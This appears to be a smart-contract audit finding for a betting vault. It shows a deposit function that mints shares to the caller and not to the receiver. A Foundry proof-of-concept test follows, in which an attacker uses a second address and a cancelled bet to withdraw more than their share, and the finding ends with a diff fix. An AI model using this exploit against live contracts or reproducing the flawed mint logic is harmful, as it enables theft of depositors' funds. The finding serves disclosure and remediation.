function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
@> _mint(msg.sender, participantShares);
emit deposited (receiver, stakeAsset);
return participantShares;
}
<details>
<summary>POC</summary>
The following test performs these steps to prove the vulnerability.
I only used four users, and I had the first three bet on the same winning team and the fourth bet on a losing team in order to simplify the loophole and make it understandable.
1. The attacker, who is User 1, makes a deposit of 1 Ether and then selects Team 10.
2. User 2, makes a deposit of 5 Ether and then selects Team 10.
3. User 3, makes a deposit of 10 Ether and then selects Team 10.
4. The attacker, who is User 1, makes a deposit of 15 Ether making the `receiver` user 4.
5. User 4 selects team number 20, then cancels their bet and refunds the money to their account.
6. The owner chooses winner team number 10 after time has passed.
7. User 1 shoud withdraw 0.985 Ether but in reality, he is withdrawing 15.76 Ether.
8. Now the attacker was able to withdraw `15.75 Ether ` using user 1 and `14.775 Ether` using user 4 controlled by the attacker.
Put this test in `briVault.t.sol`.
```javascript
function test_attacker_multi_join_and_profit() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
mockToken.approve(address(briVault), 100 ether);
uint256 attackerFirstShares = briVault.deposit(1 ether, user1);
briVault.joinEvent(10);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 100 ether);
uint256 user2shares = briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(briVault), 100 ether);
uint256 user3shares = briVault.deposit(10 ether, user3);
briVault.joinEvent(10);
vm.stopPrank();
vm.startPrank(user1);
uint256 attackerSecondShares = briVault.deposit(15 ether, user4);
vm.stopPrank();
vm.startPrank(user4);
briVault.joinEvent(20);
briVault.cancelParticipation();
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
vm.stopPrank();
uint256 finalized = briVault.finalizedVaultAsset();
uint256 totalWinnerSharesRecorded = briVault.totalWinnerShares();
uint256 recordedAttackerCountryShares = briVault.userSharesToCountry(user1, 10);
uint256 attackerTotalSharesBalance = briVault.balanceOf(user1);
uint256 rightful = 0;
if (totalWinnerSharesRecorded > 0) {
rightful = (recordedAttackerCountryShares * finalized) / totalWinnerSharesRecorded;
}
uint256 attackerBalanceBefore = mockToken.balanceOf(user1);
vm.startPrank(user1);
briVault.withdraw();
vm.stopPrank();
uint256 attackerBalanceAfter = mockToken.balanceOf(user1);
uint256 actualWithdrawn = attackerBalanceAfter - attackerBalanceBefore;
console.log("finalizedVaultAsset:", finalized);
console.log("totalWinnerSharesRecorded:", totalWinnerSharesRecorded);
console.log("recordedAttackerCountryShares:", recordedAttackerCountryShares);
console.log("attackerTotalSharesBalance (all shares attacker holds):", attackerTotalSharesBalance);
console.log("rightful (expected) withdrawal (wei):", rightful);
console.log("actual withdrawn by attacker (wei):", actualWithdrawn);
assertTrue(actualWithdrawn > rightful, "Attacker did NOT extract more than rightful share");
}
```
</details>
1. You can modify the deposit function to work like this.
```diff
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
// charge on a percentage basis points
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
- _mint(msg.sender, participantShares);
+ _mint(receiver, participantShares);
emit deposited (receiver, stakeAsset);
return participantShares;
}
```
2. A mechanism should be put in place to prevent duplicate address or Participate more than once in team selection.